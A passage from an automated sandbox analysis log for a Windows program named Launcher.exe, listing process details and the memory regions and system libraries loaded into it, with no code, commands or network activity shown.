# Flog Txt Version 1 # Analyzer Version: 2023.3.1 # Analyzer Build Date: Jul 17 2023 06:23:22 # Log Creation Date: 19.09.2023 15:15:50.673 Process: id = "1" image_name = "launcher.exe" filename = "c:\\users\\keecfmwgj\\desktop\\launcher.exe" page_root = "0x448d8000" os_pid = "0xe20" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x778" cmd_line = "\"C:\\Users\\kEecfMwgj\\Desktop\\Launcher.exe\" " cur_dir = "C:\\Users\\kEecfMwgj\\Desktop\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f1fb" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 113 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 114 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 115 start_va = 0x40000 end_va = 0x40fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 116 start_va = 0x50000 end_va = 0x53fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 117 start_va = 0x60000 end_va = 0x62fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 118 start_va = 0x160000 end_va = 0x19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 119 start_va = 0x290000 end_va = 0x38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 120 start_va = 0x870000 end_va = 0x8ddfff monitored = 1 entry_point = 0x88ec40 region_type = mapped_file name = "launcher.exe" filename = "\\Users\\kEecfMwgj\\Desktop\\Launcher.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\launcher.exe") Region: id = 121 start_va = 0x77be0000 end_va = 0x77d88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 122 start_va = 0x77dc0000 end_va = 0x77f3ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 123 start_va = 0x7efb0000 end_va = 0x7efd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 124 start_va = 0x7efdb000 end_va = 0x7efddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 125 start_va = 0x7efde000 end_va = 0x7efdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 126 start_va = 0x7efdf000 end_va = 0x7efdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 127 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 128 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 129 start_va = 0x7fff0000 end_va = 0x7fffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 268 start_va = 0x390000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 269 start_va = 0x756b0000 end_va = 0x756eefff monitored = 0 entry_point = 0x756de088 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 270 start_va = 0x75650000 end_va = 0x756abfff monitored = 0 entry_point = 0x7568f9f4 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 271 start_va = 0x75640000 end_va = 0x75647fff monitored = 0 entry_point = 0x756420f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 272 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 273 start_va = 0x77270000 end_va = 0x7737ffff monitored = 0 entry_point = 0x77283283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 274 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 275 start_va = 0x779c0000 end_va = 0x77adefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000779c0000" filename = "" Region: id = 276 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 0 entry_point = 0x77afa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 277 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000077ae0000" filename = "" Region: id = 278 start_va = 0x4d0000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 279 start_va = 0x77270000 end_va = 0x7737ffff monitored = 0 entry_point = 0x77283283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 280 start_va = 0x77560000 end_va = 0x775a6fff monitored = 0 entry_point = 0x775674c1 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 281 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 282 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 283 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 284 start_va = 0x70000 end_va = 0xd6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 285 start_va = 0x72db0000 end_va = 0x72f3ffff monitored = 0 entry_point = 0x72e4d026 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll") Region: id = 286 start_va = 0x76e20000 end_va = 0x76ecbfff monitored = 0 entry_point = 0x76e2a472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 287 start_va = 0x77000000 end_va = 0x770fffff monitored = 0 entry_point = 0x7701b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 288 start_va = 0x76d90000 end_va = 0x76e1ffff monitored = 0 entry_point = 0x76da6343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 289 start_va = 0x76b00000 end_va = 0x76b09fff monitored = 0 entry_point = 0x76b036a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 290 start_va = 0x77380000 end_va = 0x7741cfff monitored = 0 entry_point = 0x773b3fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 291 start_va = 0x76940000 end_va = 0x769dffff monitored = 0 entry_point = 0x769549e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 292 start_va = 0x77210000 end_va = 0x77228fff monitored = 0 entry_point = 0x77214975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 293 start_va = 0x77840000 end_va = 0x7792ffff monitored = 0 entry_point = 0x77850569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 294 start_va = 0x75910000 end_va = 0x7596ffff monitored = 0 entry_point = 0x7592a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 295 start_va = 0x75900000 end_va = 0x7590bfff monitored = 0 entry_point = 0x759010e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 296 start_va = 0x75970000 end_va = 0x75acbfff monitored = 0 entry_point = 0x759bba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 297 start_va = 0x8e0000 end_va = 0xadffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008e0000" filename = "" Region: id = 298 start_va = 0x690000 end_va = 0x817fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000690000" filename = "" Region: id = 299 start_va = 0x20000 end_va = 0x3dfff monitored = 0 entry_point = 0x3158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 300 start_va = 0x20000 end_va = 0x3dfff monitored = 0 entry_point = 0x3158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 301 start_va = 0x77190000 end_va = 0x771effff monitored = 0 entry_point = 0x771a158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 302 start_va = 0x75ad0000 end_va = 0x75b9bfff monitored = 0 entry_point = 0x75ad168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 303 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 304 start_va = 0x30000 end_va = 0x30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 305 start_va = 0x8e0000 end_va = 0xa60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008e0000" filename = "" Region: id = 306 start_va = 0xad0000 end_va = 0xadffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ad0000" filename = "" Region: id = 307 start_va = 0xae0000 end_va = 0x1edffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ae0000" filename = "" Region: id = 308 start_va = 0x74910000 end_va = 0x74918fff monitored = 0 entry_point = 0x74911220 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 309 start_va = 0x1ee0000 end_va = 0x21aefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 310 start_va = 0x757f0000 end_va = 0x757fcfff monitored = 0 entry_point = 0x757f1392 region_type = mapped_file name = "sfc_os.dll" filename = "\\Windows\\SysWOW64\\sfc_os.dll" (normalized: "c:\\windows\\syswow64\\sfc_os.dll") Region: id = 311 start_va = 0x74660000 end_va = 0x7469afff monitored = 0 entry_point = 0x7466128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 312 start_va = 0x74820000 end_va = 0x7489ffff monitored = 0 entry_point = 0x748337c9 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 313 start_va = 0x21b0000 end_va = 0x238ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021b0000" filename = "" Region: id = 314 start_va = 0x747b0000 end_va = 0x747c2fff monitored = 0 entry_point = 0x747b1d3f region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 315 start_va = 0x75770000 end_va = 0x757e5fff monitored = 0 entry_point = 0x757716bb region_type = mapped_file name = "riched20.dll" filename = "\\Windows\\SysWOW64\\riched20.dll" (normalized: "c:\\windows\\syswow64\\riched20.dll") Region: id = 316 start_va = 0x1a0000 end_va = 0x27efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 317 start_va = 0x749e0000 end_va = 0x74b7dfff monitored = 0 entry_point = 0x74a0e6b5 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll") Region: id = 318 start_va = 0x75bd0000 end_va = 0x75c26fff monitored = 0 entry_point = 0x75be9ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 319 start_va = 0xe0000 end_va = 0xe0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 320 start_va = 0xf0000 end_va = 0xf1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 321 start_va = 0x100000 end_va = 0x11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 322 start_va = 0x3d0000 end_va = 0x40ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 323 start_va = 0x450000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 324 start_va = 0x23f0000 end_va = 0x24effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023f0000" filename = "" Region: id = 325 start_va = 0x7efd8000 end_va = 0x7efdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 326 start_va = 0x75c30000 end_va = 0x76879fff monitored = 0 entry_point = 0x75cb1601 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 327 start_va = 0x4d0000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 328 start_va = 0x590000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000590000" filename = "" Region: id = 329 start_va = 0x72cb0000 end_va = 0x72daafff monitored = 0 entry_point = 0x72cc17e1 region_type = mapped_file name = "windowscodecs.dll" filename = "\\Windows\\SysWOW64\\WindowsCodecs.dll" (normalized: "c:\\windows\\syswow64\\windowscodecs.dll") Region: id = 330 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 331 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 332 start_va = 0x110000 end_va = 0x11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 333 start_va = 0x120000 end_va = 0x13bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 334 start_va = 0x140000 end_va = 0x15bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 335 start_va = 0x280000 end_va = 0x280fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 336 start_va = 0x21b0000 end_va = 0x221ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021b0000" filename = "" Region: id = 337 start_va = 0x2350000 end_va = 0x238ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002350000" filename = "" Region: id = 338 start_va = 0x140000 end_va = 0x144fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "user32.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\user32.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\user32.dll.mui") Region: id = 339 start_va = 0x390000 end_va = 0x3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 340 start_va = 0x2220000 end_va = 0x2320fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002220000" filename = "" Region: id = 341 start_va = 0x150000 end_va = 0x150fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 342 start_va = 0x24f0000 end_va = 0x2e1ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 343 start_va = 0x3b0000 end_va = 0x3cbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 344 start_va = 0x410000 end_va = 0x410fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000410000" filename = "" Region: id = 345 start_va = 0x77100000 end_va = 0x77182fff monitored = 0 entry_point = 0x771023d2 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 346 start_va = 0x77930000 end_va = 0x779befff monitored = 0 entry_point = 0x77933fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 347 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 348 start_va = 0x430000 end_va = 0x431fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 349 start_va = 0x75710000 end_va = 0x75767fff monitored = 0 entry_point = 0x757115c0 region_type = mapped_file name = "tiptsf.dll" filename = "\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\tiptsf.dll" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\tiptsf.dll") Region: id = 350 start_va = 0x2e20000 end_va = 0x3020fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002e20000" filename = "" Region: id = 351 start_va = 0x2220000 end_va = 0x2320fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002220000" filename = "" Region: id = 352 start_va = 0x2e20000 end_va = 0x3020fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002e20000" filename = "" Region: id = 353 start_va = 0x2220000 end_va = 0x2320fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002220000" filename = "" Region: id = 354 start_va = 0x2220000 end_va = 0x2320fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002220000" filename = "" Region: id = 355 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 356 start_va = 0x2220000 end_va = 0x2320fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002220000" filename = "" Region: id = 357 start_va = 0x2220000 end_va = 0x2320fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002220000" filename = "" Region: id = 358 start_va = 0x2230000 end_va = 0x226ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002230000" filename = "" Region: id = 359 start_va = 0x2ef0000 end_va = 0x2feffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002ef0000" filename = "" Region: id = 360 start_va = 0x74480000 end_va = 0x74574fff monitored = 0 entry_point = 0x74490d9e region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\SysWOW64\\propsys.dll" (normalized: "c:\\windows\\syswow64\\propsys.dll") Region: id = 361 start_va = 0x7efd5000 end_va = 0x7efd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 362 start_va = 0x749a0000 end_va = 0x749c0fff monitored = 0 entry_point = 0x749a145e region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\SysWOW64\\ntmarta.dll" (normalized: "c:\\windows\\syswow64\\ntmarta.dll") Region: id = 363 start_va = 0x76880000 end_va = 0x768c4fff monitored = 0 entry_point = 0x768811e1 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\SysWOW64\\Wldap32.dll" (normalized: "c:\\windows\\syswow64\\wldap32.dll") Region: id = 364 start_va = 0x550000 end_va = 0x553fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.1.db" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db") Region: id = 365 start_va = 0x560000 end_va = 0x587fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000000e.db" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000e.db" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000000e.db") Region: id = 366 start_va = 0x820000 end_va = 0x820fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000820000" filename = "" Region: id = 367 start_va = 0x2ff0000 end_va = 0x30f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002ff0000" filename = "" Region: id = 368 start_va = 0x2ff0000 end_va = 0x30f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002ff0000" filename = "" Region: id = 369 start_va = 0x2ff0000 end_va = 0x30f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002ff0000" filename = "" Region: id = 370 start_va = 0x749d0000 end_va = 0x749dafff monitored = 0 entry_point = 0x749d1992 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 371 start_va = 0x550000 end_va = 0x553fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 372 start_va = 0x830000 end_va = 0x85ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000019.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000019.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000019.db") Region: id = 373 start_va = 0x860000 end_va = 0x863fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 374 start_va = 0x2270000 end_va = 0x22d5fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db") Region: id = 375 start_va = 0xa70000 end_va = 0xa7dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "propsys.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\propsys.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\propsys.dll.mui") Region: id = 376 start_va = 0x77420000 end_va = 0x77555fff monitored = 0 entry_point = 0x77421b35 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll") Region: id = 377 start_va = 0x769e0000 end_va = 0x76ad4fff monitored = 0 entry_point = 0x769e1865 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\SysWOW64\\wininet.dll" (normalized: "c:\\windows\\syswow64\\wininet.dll") Region: id = 378 start_va = 0x76b10000 end_va = 0x76d0afff monitored = 0 entry_point = 0x76b122d9 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll") Region: id = 379 start_va = 0x76ed0000 end_va = 0x76ff0fff monitored = 0 entry_point = 0x76ed158e region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll") Region: id = 380 start_va = 0x76ae0000 end_va = 0x76aebfff monitored = 0 entry_point = 0x76ae238e region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll") Region: id = 381 start_va = 0xa80000 end_va = 0xa80fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a80000" filename = "" Region: id = 382 start_va = 0x2300000 end_va = 0x233ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002300000" filename = "" Region: id = 383 start_va = 0x31a0000 end_va = 0x329ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000031a0000" filename = "" Region: id = 384 start_va = 0x7efad000 end_va = 0x7efaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 385 start_va = 0x3080000 end_va = 0x30bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003080000" filename = "" Region: id = 386 start_va = 0x3390000 end_va = 0x348ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003390000" filename = "" Region: id = 387 start_va = 0x77670000 end_va = 0x7780cfff monitored = 0 entry_point = 0x776717e7 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\SysWOW64\\setupapi.dll" (normalized: "c:\\windows\\syswow64\\setupapi.dll") Region: id = 388 start_va = 0x7efaa000 end_va = 0x7efacfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 389 start_va = 0x77810000 end_va = 0x77836fff monitored = 0 entry_point = 0x778158b9 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll") Region: id = 390 start_va = 0x771f0000 